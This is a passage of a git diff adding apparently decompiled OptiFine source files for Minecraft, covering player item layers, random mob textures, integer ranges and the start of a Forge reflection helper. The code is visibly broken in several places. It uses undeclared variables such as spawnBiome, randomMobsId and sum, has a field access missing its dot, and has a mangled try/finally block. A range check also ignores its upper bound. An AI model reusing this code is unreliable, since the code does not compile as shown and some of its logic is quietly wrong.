+    
+    if (submodel != null)
+    {
+      ModelRenderer var23 = parseModelRenderer(submodel, modelBase);
+      mr.addChild(var23);
+    }
+    
+    JsonArray var24 = (JsonArray)elem.get("submodels");
+    
+    if (var24 != null)
+    {
+      for (int var26 = 0; var26 < var24.size(); var26++)
+      {
+        JsonObject var28 = (JsonObject)var24.get(var26);
+        ModelRenderer var29 = parseModelRenderer(var28, modelBase);
+        mr.addChild(var29);
+      }
+    }
+    
+    return mr;
+  }
+}
diff --git a/src/minecraft/optifine/PlayerItemRenderer.java b/src/minecraft/optifine/PlayerItemRenderer.java
new file mode 100644
index 0000000..6d119ba
--- /dev/null
+++ b/src/minecraft/optifine/PlayerItemRenderer.java
@@ -0,0 +1,35 @@
+package optifine;
+
+import net.minecraft.client.model.ModelBiped;
+import net.minecraft.client.model.ModelRenderer;
+
+public class PlayerItemRenderer
+{
+  private int attachTo = 0;
+  private float scaleFactor = 0.0F;
+  private ModelRenderer modelRenderer = null;
+  
+  public PlayerItemRenderer(int attachTo, float scaleFactor, ModelRenderer modelRenderer)
+  {
+    this.attachTo = attachTo;
+    this.scaleFactor = scaleFactor;
+    this.modelRenderer = modelRenderer;
+  }
+  
+  public ModelRenderer getModelRenderer()
+  {
+    return modelRenderer;
+  }
+  
+  public void render(ModelBiped modelBiped, float scale)
+  {
+    ModelRenderer attachModel = PlayerItemModel.getAttachModel(modelBiped, attachTo);
+    
+    if (attachModel != null)
+    {
+      attachModel.postRender(scale);
+    }
+    
+    modelRenderer.render(scale * scaleFactor);
+  }
+}
diff --git a/src/minecraft/optifine/PlayerItemsLayer.java b/src/minecraft/optifine/PlayerItemsLayer.java
new file mode 100644
index 0000000..911bcd1
--- /dev/null
+++ b/src/minecraft/optifine/PlayerItemsLayer.java
@@ -0,0 +1,71 @@
+package optifine;
+
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.client.entity.AbstractClientPlayer;
+import net.minecraft.client.model.ModelBiped;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.RenderPlayer;
+import net.minecraft.client.renderer.entity.layers.LayerRenderer;
+import net.minecraft.entity.EntityLivingBase;
+
+public class PlayerItemsLayer implements LayerRenderer
+{
+  private RenderPlayer renderPlayer = null;
+  
+  public PlayerItemsLayer(RenderPlayer renderPlayer)
+  {
+    this.renderPlayer = renderPlayer;
+  }
+  
+  public void doRenderLayer(EntityLivingBase entityLiving, float limbSwing, float limbSwingAmount, float partialTicks, float ticksExisted, float headYaw, float rotationPitch, float scale)
+  {
+    renderEquippedItems(entityLiving, scale, partialTicks);
+  }
+  
+  protected void renderEquippedItems(EntityLivingBase entityLiving, float scale, float partialTicks)
+  {
+    if (Config.isShowCapes())
+    {
+      if ((entityLiving instanceof AbstractClientPlayer))
+      {
+        AbstractClientPlayer player = (AbstractClientPlayer)entityLiving;
+        GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+        GlStateManager.disableRescaleNormal();
+        ModelBiped modelBipedMain = (ModelBiped)renderPlayer.getMainModel();
+        PlayerConfigurations.renderPlayerItems(modelBipedMain, player, scale, partialTicks);
+      }
+    }
+  }
+  
+  public boolean shouldCombineTextures()
+  {
+    return false;
+  }
+  
+  public static void register(Map renderPlayerMap)
+  {
+    Set keys = renderPlayerMap.keySet();
+    boolean registered = false;
+    Iterator it = keys.iterator();
+    
+    while (it.hasNext())
+    {
+      Object key = it.next();
+      Object renderer = renderPlayerMap.get(key);
+      
+      if ((renderer instanceof RenderPlayer))
+      {
+        RenderPlayer renderPlayer = (RenderPlayer)renderer;
+        renderPlayer.addLayer(new PlayerItemsLayer(renderPlayer));
+        registered = true;
+      }
+    }
+    
+    if (!registered)
+    {
+      Config.warn("PlayerItemsLayer not registered");
+    }
+  }
+}
diff --git a/src/minecraft/optifine/PropertiesOrdered.java b/src/minecraft/optifine/PropertiesOrdered.java
new file mode 100644
index 0000000..f7a5dd1
--- /dev/null
+++ b/src/minecraft/optifine/PropertiesOrdered.java
@@ -0,0 +1,30 @@
+package optifine;
+
+import java.util.Collections;
+import java.util.Enumeration;
+import java.util.LinkedHashSet;
+import java.util.Properties;
+import java.util.Set;
+
+public class PropertiesOrdered extends Properties
+{
+  private Set<Object> keysOrdered = new LinkedHashSet();
+  
+  public PropertiesOrdered() {}
+  
+  public synchronized Object put(Object key, Object value) { keysOrdered.add(key);
+    return super.put(key, value);
+  }
+  
+  public Set<Object> keySet()
+  {
+    Set keysParent = super.keySet();
+    keysOrdered.retainAll(keysParent);
+    return Collections.unmodifiableSet(keysOrdered);
+  }
+  
+  public synchronized Enumeration<Object> keys()
+  {
+    return Collections.enumeration(keySet());
+  }
+}
diff --git a/src/minecraft/optifine/RandomMobs.java b/src/minecraft/optifine/RandomMobs.java
new file mode 100644
index 0000000..beedeca
--- /dev/null
+++ b/src/minecraft/optifine/RandomMobs.java
@@ -0,0 +1,417 @@
+package optifine;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.Random;
+import java.util.UUID;
+import net.minecraft.client.renderer.RenderGlobal;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldServer;
+
+public class RandomMobs
+{
+  private static Map locationProperties = new HashMap();
+  private static RenderGlobal renderGlobal = null;
+  private static boolean initialized = false;
+  private static Random random = new Random();
+  private static boolean working = false;
+  public static final String SUFFIX_PNG = ".png";
+  public static final String SUFFIX_PROPERTIES = ".properties";
+  public static final String PREFIX_TEXTURES_ENTITY = "textures/entity/";
+  public static final String PREFIX_MCPATCHER_MOB = "mcpatcher/mob/";
+  private static final String[] DEPENDANT_SUFFIXES = { "_armor", "_eyes", "_exploding", "_shooting", "_fur", "_eyes", "_invulnerable", "_angry", "_tame", "_collar" };
+  
+  public RandomMobs() {}
+  
+  public static void entityLoaded(Entity entity, World world) { if ((entity instanceof EntityLiving))
+    {
+      if (world != null)
+      {
+        EntityLiving el = (EntityLiving)entity;
+        spawnPosition = el.getPosition();
+        spawnBiome = world.getBiomeGenForCoords(spawnPosition);
+        WorldServer ws = Config.getWorldServer();
+        
+        if (ws != null)
+        {
+          Entity es = ws.getEntityByID(entity.getEntityId());
+          
+          if ((es instanceof EntityLiving))
+          {
+            EntityLiving els = (EntityLiving)es;
+            UUID uuid = els.getUniqueID();
+            long uuidLow = uuid.getLeastSignificantBits();
+            int id = (int)(uuidLow & 0x7FFFFFFF);
+            randomMobsId = id;
+          }
+        }
+      }
+    }
+  }
+  
+  public static void worldChanged(World oldWorld, World newWorld)
+  {
+    if (newWorld != null)
+    {
+      List entityList = newWorld.getLoadedEntityList();
+      
+      for (int e = 0; e < entityList.size(); e++)
+      {
+        Entity entity = (Entity)entityList.get(e);
+        entityLoaded(entity, newWorld);
+      }
+    }
+  }
+  
+  public static ResourceLocation getTextureLocation(ResourceLocation loc)
+  {
+    if (working)
+    {
+      return loc;
+    }
+    
+
+
+
+    try
+    {
+      working = true;
+      
+      if (!initialized)
+      {
+        initialize();
+      }
+      ResourceLocation localResourceLocation1;
+      if (renderGlobal == null)
+      {
+        ResourceLocation entity1 = loc;
+        return entity1;
+      }
+      
+      Entity entity = renderGlobalrenderedEntity;
+      
+      if (!(entity instanceof EntityLiving))
+      {
+        ResourceLocation entityLiving1 = loc;
+        return entityLiving1;
+      }
+      
+      EntityLiving entityLiving = (EntityLiving)entity;
+      String name = loc.getResourcePath();
+      
+      if (!name.startsWith("textures/entity/"))
+      {
+        ResourceLocation props1 = loc;
+        return props1;
+      }
+      
+      RandomMobsProperties props = getProperties(loc);
+      
+      if (props != null)
+      {
+        ResourceLocation var5 = props.getTextureLocation(loc, entityLiving);
+        return var5;
+      }
+      
+      var5 = loc;
+    }
+    finally {
+      ResourceLocation var5;
+      working = false; } ResourceLocation var5; working = false;
+    
+
+    return var5;
+  }
+  
+
+  private static RandomMobsProperties getProperties(ResourceLocation loc)
+  {
+    String name = loc.getResourcePath();
+    RandomMobsProperties props = (RandomMobsProperties)locationProperties.get(name);
+    
+    if (props == null)
+    {
+      props = makeProperties(loc);
+      locationProperties.put(name, props);
+    }
+    
+    return props;
+  }
+  
+  private static RandomMobsProperties makeProperties(ResourceLocation loc)
+  {
+    String path = loc.getResourcePath();
+    ResourceLocation propLoc = getPropertyLocation(loc);
+    
+    if (propLoc != null)
+    {
+      RandomMobsProperties variants = parseProperties(propLoc, loc);
+      
+      if (variants != null)
+      {
+        return variants;
+      }
+    }
+    
+    ResourceLocation[] variants1 = getTextureVariants(loc);
+    return new RandomMobsProperties(path, variants1);
+  }
+  
+  private static RandomMobsProperties parseProperties(ResourceLocation propLoc, ResourceLocation resLoc)
+  {
+    try
+    {
+      String e = propLoc.getResourcePath();
+      Config.dbg("RandomMobs: " + resLoc.getResourcePath() + ", variants: " + e);
+      InputStream in = Config.getResourceStream(propLoc);
+      
+      if (in == null)
+      {
+        Config.warn("RandomMobs properties not found: " + e);
+        return null;
+      }
+      
+
+      Properties props = new Properties();
+      props.load(in);
+      in.close();
+      RandomMobsProperties rmp = new RandomMobsProperties(props, e, resLoc);
+      return !rmp.isValid(e) ? null : rmp;
+
+    }
+    catch (FileNotFoundException var6)
+    {
+      Config.warn("RandomMobs file not found: " + resLoc.getResourcePath());
+      return null;
+    }
+    catch (IOException var7)
+    {
+      var7.printStackTrace(); }
+    return null;
+  }
+  
+
+  private static ResourceLocation getPropertyLocation(ResourceLocation loc)
+  {
+    ResourceLocation locMcp = getMcpatcherLocation(loc);
+    
+    if (locMcp == null)
+    {
+      return null;
+    }
+    
+
+    String domain = locMcp.getResourceDomain();
+    String path = locMcp.getResourcePath();
+    String pathBase = path;
+    
+    if (path.endsWith(".png"))
+    {
+      pathBase = path.substring(0, path.length() - ".png".length());
+    }
+    
+    String pathProps = pathBase + ".properties";
+    ResourceLocation locProps = new ResourceLocation(domain, pathProps);
+    
+    if (Config.hasResource(locProps))
+    {
+      return locProps;
+    }
+    
+
+    String pathParent = getParentPath(pathBase);
+    
+    if (pathParent == null)
+    {
+      return null;
+    }
+    
+
+    ResourceLocation locParentProps = new ResourceLocation(domain, pathParent + ".properties");
+    return Config.hasResource(locParentProps) ? locParentProps : null;
+  }
+  
+
+
+
+  public static ResourceLocation getMcpatcherLocation(ResourceLocation loc)
+  {
+    String path = loc.getResourcePath();
+    
+    if (!path.startsWith("textures/entity/"))
+    {
+      return null;
+    }
+    
+
+    String pathMcp = "mcpatcher/mob/" + path.substring("textures/entity/".length());
+    return new ResourceLocation(loc.getResourceDomain(), pathMcp);
+  }
+  
+
+  public static ResourceLocation getLocationIndexed(ResourceLocation loc, int index)
+  {
+    if (loc == null)
+    {
+      return null;
+    }
+    
+
+    String path = loc.getResourcePath();
+    int pos = path.lastIndexOf('.');
+    
+    if (pos < 0)
+    {
+      return null;
+    }
+    
+
+    String prefix = path.substring(0, pos);
+    String suffix = path.substring(pos);
+    String pathNew = prefix + index + suffix;
+    ResourceLocation locNew = new ResourceLocation(loc.getResourceDomain(), pathNew);
+    return locNew;
+  }
+  
+
+
+  private static String getParentPath(String path)
+  {
+    for (int i = 0; i < DEPENDANT_SUFFIXES.length; i++)
+    {
+      String suffix = DEPENDANT_SUFFIXES[i];
+      
+      if (path.endsWith(suffix))
+      {
+        String pathParent = path.substring(0, path.length() - suffix.length());
+        return pathParent;
+      }
+    }
+    
+    return null;
+  }
+  
+  private static ResourceLocation[] getTextureVariants(ResourceLocation loc)
+  {
+    ArrayList list = new ArrayList();
+    list.add(loc);
+    ResourceLocation locMcp = getMcpatcherLocation(loc);
+    
+    if (locMcp == null)
+    {
+      return null;
+    }
+    
+
+    for (int locs = 1; locs < list.size() + 10; locs++)
+    {
+      int index = locs + 1;
+      ResourceLocation locIndex = getLocationIndexed(locMcp, index);
+      
+      if (Config.hasResource(locIndex))
+      {
+        list.add(locIndex);
+      }
+    }
+    
+    if (list.size() <= 1)
+    {
+      return null;
+    }
+    
+
+    ResourceLocation[] var6 = (ResourceLocation[])list.toArray(new ResourceLocation[list.size()]);
+    Config.dbg("RandomMobs: " + loc.getResourcePath() + ", variants: " + var6.length);
+    return var6;
+  }
+  
+
+
+  public static void resetTextures()
+  {
+    locationProperties.clear();
+    
+    if (Config.isRandomMobs())
+    {
+      initialize();
+    }
+  }
+  
+  private static void initialize()
+  {
+    renderGlobal = Config.getRenderGlobal();
+    
+    if (renderGlobal != null)
+    {
+      initialized = true;
+      ArrayList list = new ArrayList();
+      list.add("bat");
+      list.add("blaze");
+      list.add("cat/black");
+      list.add("cat/ocelot");
+      list.add("cat/red");
+      list.add("cat/siamese");
+      list.add("chicken");
+      list.add("cow/cow");
+      list.add("cow/mooshroom");
+      list.add("creeper/creeper");
+      list.add("enderman/enderman");
+      list.add("enderman/enderman_eyes");
+      list.add("ghast/ghast");
+      list.add("ghast/ghast_shooting");
+      list.add("iron_golem");
+      list.add("pig/pig");
+      list.add("sheep/sheep");
+      list.add("sheep/sheep_fur");
+      list.add("silverfish");
+      list.add("skeleton/skeleton");
+      list.add("skeleton/wither_skeleton");
+      list.add("slime/slime");
+      list.add("slime/magmacube");
+      list.add("snowman");
+      list.add("spider/cave_spider");
+      list.add("spider/spider");
+      list.add("spider_eyes");
+      list.add("squid");
+      list.add("villager/villager");
+      list.add("villager/butcher");
+      list.add("villager/farmer");
+      list.add("villager/librarian");
+      list.add("villager/priest");
+      list.add("villager/smith");
+      list.add("wither/wither");
+      list.add("wither/wither_armor");
+      list.add("wither/wither_invulnerable");
+      list.add("wolf/wolf");
+      list.add("wolf/wolf_angry");
+      list.add("wolf/wolf_collar");
+      list.add("wolf/wolf_tame");
+      list.add("zombie_pigman");
+      list.add("zombie/zombie");
+      list.add("zombie/zombie_villager");
+      
+      for (int i = 0; i < list.size(); i++)
+      {
+        String name = (String)list.get(i);
+        String tex = "textures/entity/" + name + ".png";
+        ResourceLocation texLoc = new ResourceLocation(tex);
+        
+        if (!Config.hasResource(texLoc))
+        {
+          Config.warn("Not found: " + texLoc);
+        }
+        
+        getProperties(texLoc);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/optifine/RandomMobsProperties.java b/src/minecraft/optifine/RandomMobsProperties.java
new file mode 100644
index 0000000..1a7ebd6
--- /dev/null
+++ b/src/minecraft/optifine/RandomMobsProperties.java
@@ -0,0 +1,183 @@
+package optifine;
+
+import java.util.ArrayList;
+import java.util.Properties;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class RandomMobsProperties
+{
+  public String name = null;
+  public String basePath = null;
+  public ResourceLocation[] resourceLocations = null;
+  public RandomMobsRule[] rules = null;
+  
+  public RandomMobsProperties(String path, ResourceLocation[] variants)
+  {
+    ConnectedParser cp = new ConnectedParser("RandomMobs");
+    name = cp.parseName(path);
+    basePath = cp.parseBasePath(path);
+    resourceLocations = variants;
+  }
+  
+  public RandomMobsProperties(Properties props, String path, ResourceLocation baseResLoc)
+  {
+    ConnectedParser cp = new ConnectedParser("RandomMobs");
+    name = cp.parseName(path);
+    basePath = cp.parseBasePath(path);
+    rules = parseRules(props, baseResLoc, cp);
+  }
+  
+
+
+  public ResourceLocation getTextureLocation(ResourceLocation loc, EntityLiving el)
+  {
+    if (rules != null)
+    {
+      for (int randomId = 0; randomId < rules.length; randomId++)
+      {
+        RandomMobsRule index = rules[randomId];
+        
+        if (index.matches(el))
+        {
+          return index.getTextureLocation(loc, randomMobsId);
+        }
+      }
+    }
+    
+    if (resourceLocations != null)
+    {
+      int randomId = randomMobsId;
+      int var5 = randomId % resourceLocations.length;
+      return resourceLocations[var5];
+    }
+    
+
+    return loc;
+  }
+  
+
+  private RandomMobsRule[] parseRules(Properties props, ResourceLocation baseResLoc, ConnectedParser cp)
+  {
+    ArrayList list = new ArrayList();
+    int count = props.size();
+    
+    for (int rules = 0; rules < count; rules++)
+    {
+      int index = rules + 1;
+      String valSkins = props.getProperty("skins." + index);
+      
+      if (valSkins != null)
+      {
+        int[] skins = cp.parseIntList(valSkins);
+        int[] weights = cp.parseIntList(props.getProperty("weights." + index));
+        BiomeGenBase[] biomes = cp.parseBiomes(props.getProperty("biomes." + index));
+        RangeListInt heights = cp.parseRangeListInt(props.getProperty("heights." + index));
+        
+        if (heights == null)
+        {
+          heights = parseMinMaxHeight(props, index);
+        }
+        
+        RandomMobsRule rule = new RandomMobsRule(baseResLoc, skins, weights, biomes, heights);
+        list.add(rule);
+      }
+    }
+    
+    RandomMobsRule[] var14 = (RandomMobsRule[])list.toArray(new RandomMobsRule[list.size()]);
+    return var14;
+  }
+  
+  private RangeListInt parseMinMaxHeight(Properties props, int index)
+  {
+    String minHeightStr = props.getProperty("minHeight." + index);
+    String maxHeightStr = props.getProperty("maxHeight." + index);
+    
+    if ((minHeightStr == null) && (maxHeightStr == null))
+    {
+      return null;
+    }
+    
+
+    int minHeight = 0;
+    
+    if (minHeightStr != null)
+    {
+      minHeight = Config.parseInt(minHeightStr, -1);
+      
+      if (minHeight < 0)
+      {
+        Config.warn("Invalid minHeight: " + minHeightStr);
+        return null;
+      }
+    }
+    
+    int maxHeight = 256;
+    
+    if (maxHeightStr != null)
+    {
+      maxHeight = Config.parseInt(maxHeightStr, -1);
+      
+      if (maxHeight < 0)
+      {
+        Config.warn("Invalid maxHeight: " + maxHeightStr);
+        return null;
+      }
+    }
+    
+    if (maxHeight < 0)
+    {
+      Config.warn("Invalid minHeight, maxHeight: " + minHeightStr + ", " + maxHeightStr);
+      return null;
+    }
+    
+
+    RangeListInt list = new RangeListInt();
+    list.addRange(new RangeInt(minHeight, maxHeight));
+    return list;
+  }
+  
+
+
+  public boolean isValid(String path)
+  {
+    if ((resourceLocations == null) && (rules == null))
+    {
+      Config.warn("No skins specified: " + path);
+      return false;
+    }
+    
+
+
+
+    if (rules != null)
+    {
+      for (int i = 0; i < rules.length; i++)
+      {
+        RandomMobsRule loc = rules[i];
+        
+        if (!loc.isValid(path))
+        {
+          return false;
+        }
+      }
+    }
+    
+    if (resourceLocations != null)
+    {
+      for (int i = 0; i < resourceLocations.length; i++)
+      {
+        ResourceLocation var4 = resourceLocations[i];
+        
+        if (!Config.hasResource(var4))
+        {
+          Config.warn("Texture not found: " + var4.getResourcePath());
+          return false;
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/optifine/RandomMobsRule.java b/src/minecraft/optifine/RandomMobsRule.java
new file mode 100644
index 0000000..53dd548
--- /dev/null
+++ b/src/minecraft/optifine/RandomMobsRule.java
@@ -0,0 +1,154 @@
+package optifine;
+
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class RandomMobsRule
+{
+  private ResourceLocation baseResLoc = null;
+  private int[] skins = null;
+  private ResourceLocation[] resourceLocations = null;
+  private int[] weights = null;
+  private BiomeGenBase[] biomes = null;
+  private RangeListInt heights = null;
+  public int[] sumWeights = null;
+  public int sumAllWeights = 1;
+  
+  public RandomMobsRule(ResourceLocation baseResLoc, int[] skins, int[] weights, BiomeGenBase[] biomes, RangeListInt heights)
+  {
+    this.baseResLoc = baseResLoc;
+    this.skins = skins;
+    this.weights = weights;
+    this.biomes = biomes;
+    this.heights = heights;
+  }
+  
+  public boolean isValid(String path)
+  {
+    resourceLocations = new ResourceLocation[skins.length];
+    ResourceLocation locMcp = RandomMobs.getMcpatcherLocation(baseResLoc);
+    
+    if (locMcp == null)
+    {
+      Config.warn("Invalid path: " + baseResLoc.getResourcePath());
+      return false;
+    }
+    
+
+
+
+
+    for (int sum = 0; sum < resourceLocations.length; sum++)
+    {
+      int i = skins[sum];
+      
+      if (i <= 1)
+      {
+        resourceLocations[sum] = baseResLoc;
+      }
+      else
+      {
+        ResourceLocation i1 = RandomMobs.getLocationIndexed(locMcp, i);
+        
+        if (i1 == null)
+        {
+          Config.warn("Invalid path: " + baseResLoc.getResourcePath());
+          return false;
+        }
+        
+        if (!Config.hasResource(i1))
+        {
+          Config.warn("Texture not found: " + i1.getResourcePath());
+          return false;
+        }
+        
+        resourceLocations[sum] = i1;
+      }
+    }
+    
+    if (weights != null)
+    {
+
+
+      if (weights.length > resourceLocations.length)
+      {
+        Config.warn("More weights defined than skins, trimming weights: " + path);
+        int[] var6 = new int[resourceLocations.length];
+        System.arraycopy(weights, 0, var6, 0, var6.length);
+        weights = var6;
+      }
+      
+      if (weights.length < resourceLocations.length)
+      {
+        Config.warn("Less weights defined than skins, expanding weights: " + path);
+        int[] var6 = new int[resourceLocations.length];
+        System.arraycopy(weights, 0, var6, 0, weights.length);
+        int i = MathUtils.getAverage(weights);
+        
+        for (int var7 = weights.length; var7 < var6.length; var7++)
+        {
+          var6[var7] = i;
+        }
+        
+        weights = var6;
+      }
+      
+      sumWeights = new int[weights.length];
+      sum = 0;
+      
+      for (int i = 0; i < weights.length; i++)
+      {
+        if (weights[i] < 0)
+        {
+          Config.warn("Invalid weight: " + weights[i]);
+          return false;
+        }
+        
+        sum += weights[i];
+        sumWeights[i] = sum;
+      }
+      
+      sumAllWeights = sum;
+      
+      if (sumAllWeights <= 0)
+      {
+        Config.warn("Invalid sum of all weights: " + sum);
+        sumAllWeights = 1;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean matches(EntityLiving el)
+  {
+    return Matches.biome(spawnBiome, biomes);
+  }
+  
+  public ResourceLocation getTextureLocation(ResourceLocation loc, int randomId)
+  {
+    int index = 0;
+    
+    if (weights == null)
+    {
+      index = randomId % resourceLocations.length;
+    }
+    else
+    {
+      int randWeight = randomId % sumAllWeights;
+      
+      for (int i = 0; i < sumWeights.length; i++)
+      {
+        if (sumWeights[i] > randWeight)
+        {
+          index = i;
+          break;
+        }
+      }
+    }
+    
+    return resourceLocations[index];
+  }
+}
diff --git a/src/minecraft/optifine/RangeInt.java b/src/minecraft/optifine/RangeInt.java
new file mode 100644
index 0000000..4edf3ca
--- /dev/null
+++ b/src/minecraft/optifine/RangeInt.java
@@ -0,0 +1,33 @@
+package optifine;
+
+public class RangeInt
+{
+  private int min;
+  private int max;
+  
+  public RangeInt(int min, int max)
+  {
+    this.min = Math.min(min, max);
+    this.max = Math.max(min, max);
+  }
+  
+  public boolean isInRange(int val)
+  {
+    return val >= min;
+  }
+  
+  public int getMin()
+  {
+    return min;
+  }
+  
+  public int getMax()
+  {
+    return max;
+  }
+  
+  public String toString()
+  {
+    return "min: " + min + ", max: " + max;
+  }
+}
diff --git a/src/minecraft/optifine/RangeListInt.java b/src/minecraft/optifine/RangeListInt.java
new file mode 100644
index 0000000..8204f12
--- /dev/null
+++ b/src/minecraft/optifine/RangeListInt.java
@@ -0,0 +1,57 @@
+package optifine;
+
+public class RangeListInt
+{
+  private RangeInt[] ranges = new RangeInt[0];
+  
+  public RangeListInt() {}
+  
+  public void addRange(RangeInt ri) { ranges = ((RangeInt[])Config.addObjectToArray(ranges, ri)); }
+  
+
+  public boolean isInRange(int val)
+  {
+    for (int i = 0; i < ranges.length; i++)
+    {
+      RangeInt ri = ranges[i];
+      
+      if (ri.isInRange(val))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  public int getCountRanges()
+  {
+    return ranges.length;
+  }
+  
+  public RangeInt getRange(int i)
+  {
+    return ranges[i];
+  }
+  
+  public String toString()
+  {
+    StringBuffer sb = new StringBuffer();
+    sb.append("[");
+    
+    for (int i = 0; i < ranges.length; i++)
+    {
+      RangeInt ri = ranges[i];
+      
+      if (i > 0)
+      {
+        sb.append(", ");
+      }
+      
+      sb.append(ri.toString());
+    }
+    
+    sb.append("]");
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/optifine/Reflector.java b/src/minecraft/optifine/Reflector.java
new file mode 100644
index 0000000..f160e3f
--- /dev/null
+++ b/src/minecraft/optifine/Reflector.java
@@ -0,0 +1,881 @@
+package optifine;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Map;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.renderer.EntityRenderer;
+import net.minecraft.client.renderer.entity.RenderManager;
+import net.minecraft.client.renderer.entity.RendererLivingEntity;
+import net.minecraft.client.renderer.tileentity.RenderItemFrame;
+import net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher;
+import net.minecraft.client.renderer.vertex.VertexFormatElement.EnumUseage;
+import net.minecraft.client.resources.model.ModelManager;
+import net.minecraft.client.resources.model.ModelRotation;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.EnumCreatureType;
+import net.minecraft.entity.item.EntityItemFrame;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemRecord;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class Reflector
+{
+  public static ReflectorClass MinecraftForge = new ReflectorClass("net.minecraftforge.common.MinecraftForge");
+  public static ReflectorField MinecraftForge_EVENT_BUS = new ReflectorField(MinecraftForge, "EVENT_BUS");
+  public static ReflectorClass ForgeHooks = new ReflectorClass("net.minecraftforge.common.ForgeHooks");
+  public static ReflectorMethod ForgeHooks_onLivingSetAttackTarget = new ReflectorMethod(ForgeHooks, "onLivingSetAttackTarget");
+  public static ReflectorMethod ForgeHooks_onLivingUpdate = new ReflectorMethod(ForgeHooks, "onLivingUpdate");
+  public static ReflectorMethod ForgeHooks_onLivingAttack = new ReflectorMethod(ForgeHooks, "onLivingAttack");
+  public static ReflectorMethod ForgeHooks_onLivingHurt = new ReflectorMethod(ForgeHooks, "onLivingHurt");
+  public static ReflectorMethod ForgeHooks_onLivingDeath = new ReflectorMethod(ForgeHooks, "onLivingDeath");
+  public static ReflectorMethod ForgeHooks_onLivingDrops = new ReflectorMethod(ForgeHooks, "onLivingDrops");
+  public static ReflectorMethod ForgeHooks_onLivingFall = new ReflectorMethod(ForgeHooks, "onLivingFall");
+  public static ReflectorMethod ForgeHooks_onLivingJump = new ReflectorMethod(ForgeHooks, "onLivingJump");
+  public static ReflectorClass MinecraftForgeClient = new ReflectorClass("net.minecraftforge.client.MinecraftForgeClient");
+  public static ReflectorMethod MinecraftForgeClient_getRenderPass = new ReflectorMethod(MinecraftForgeClient, "getRenderPass");
+  public static ReflectorMethod MinecraftForgeClient_onRebuildChunk = new ReflectorMethod(MinecraftForgeClient, "onRebuildChunk");
+  public static ReflectorClass ForgeHooksClient = new ReflectorClass("net.minecraftforge.client.ForgeHooksClient");
+  public static ReflectorMethod ForgeHooksClient_onDrawBlockHighlight = new ReflectorMethod(ForgeHooksClient, "onDrawBlockHighlight");
+  public static ReflectorMethod ForgeHooksClient_orientBedCamera = new ReflectorMethod(ForgeHooksClient, "orientBedCamera");
+  public static ReflectorMethod ForgeHooksClient_dispatchRenderLast = new ReflectorMethod(ForgeHooksClient, "dispatchRenderLast");
+  public static ReflectorMethod ForgeHooksClient_setRenderPass = new ReflectorMethod(ForgeHooksClient, "setRenderPass");
+  public static ReflectorMethod ForgeHooksClient_onTextureStitchedPre = new ReflectorMethod(ForgeHooksClient, "onTextureStitchedPre");
+  public static ReflectorMethod ForgeHooksClient_onTextureStitchedPost = new ReflectorMethod(ForgeHooksClient, "onTextureStitchedPost");
+  public static ReflectorMethod ForgeHooksClient_renderFirstPersonHand = new ReflectorMethod(ForgeHooksClient, "renderFirstPersonHand");
+  public static ReflectorMethod ForgeHooksClient_getOffsetFOV = new ReflectorMethod(ForgeHooksClient, "getOffsetFOV");
+  public static ReflectorMethod ForgeHooksClient_drawScreen = new ReflectorMethod(ForgeHooksClient, "drawScreen");
+  public static ReflectorMethod ForgeHooksClient_onFogRender = new ReflectorMethod(ForgeHooksClient, "onFogRender");
+  public static ReflectorMethod ForgeHooksClient_setRenderLayer = new ReflectorMethod(ForgeHooksClient, "setRenderLayer");
+  public static ReflectorMethod ForgeHooksClient_transform = new ReflectorMethod(ForgeHooksClient, "transform");
+  public static ReflectorMethod ForgeHooksClient_getMatrix = new ReflectorMethod(ForgeHooksClient, "getMatrix", new Class[] { ModelRotation.class });
+  public static ReflectorMethod ForgeHooksClient_fillNormal = new ReflectorMethod(ForgeHooksClient, "fillNormal");
+  public static ReflectorMethod ForgeHooksClient_handleCameraTransforms = new ReflectorMethod(ForgeHooksClient, "handleCameraTransforms");
+  public static ReflectorMethod ForgeHooksClient_getArmorModel = new ReflectorMethod(ForgeHooksClient, "getArmorModel");
+  public static ReflectorMethod ForgeHooksClient_getArmorTexture = new ReflectorMethod(ForgeHooksClient, "getArmorTexture");
+  public static ReflectorMethod ForgeHooksClient_putQuadColor = new ReflectorMethod(ForgeHooksClient, "putQuadColor");
+  public static ReflectorMethod ForgeHooksClient_loadEntityShader = new ReflectorMethod(ForgeHooksClient, "loadEntityShader");
+  public static ReflectorMethod ForgeHooksClient_getFogDensity = new ReflectorMethod(ForgeHooksClient, "getFogDensity");
+  public static ReflectorClass FMLCommonHandler = new ReflectorClass("net.minecraftforge.fml.common.FMLCommonHandler");
+  public static ReflectorMethod FMLCommonHandler_instance = new ReflectorMethod(FMLCommonHandler, "instance");
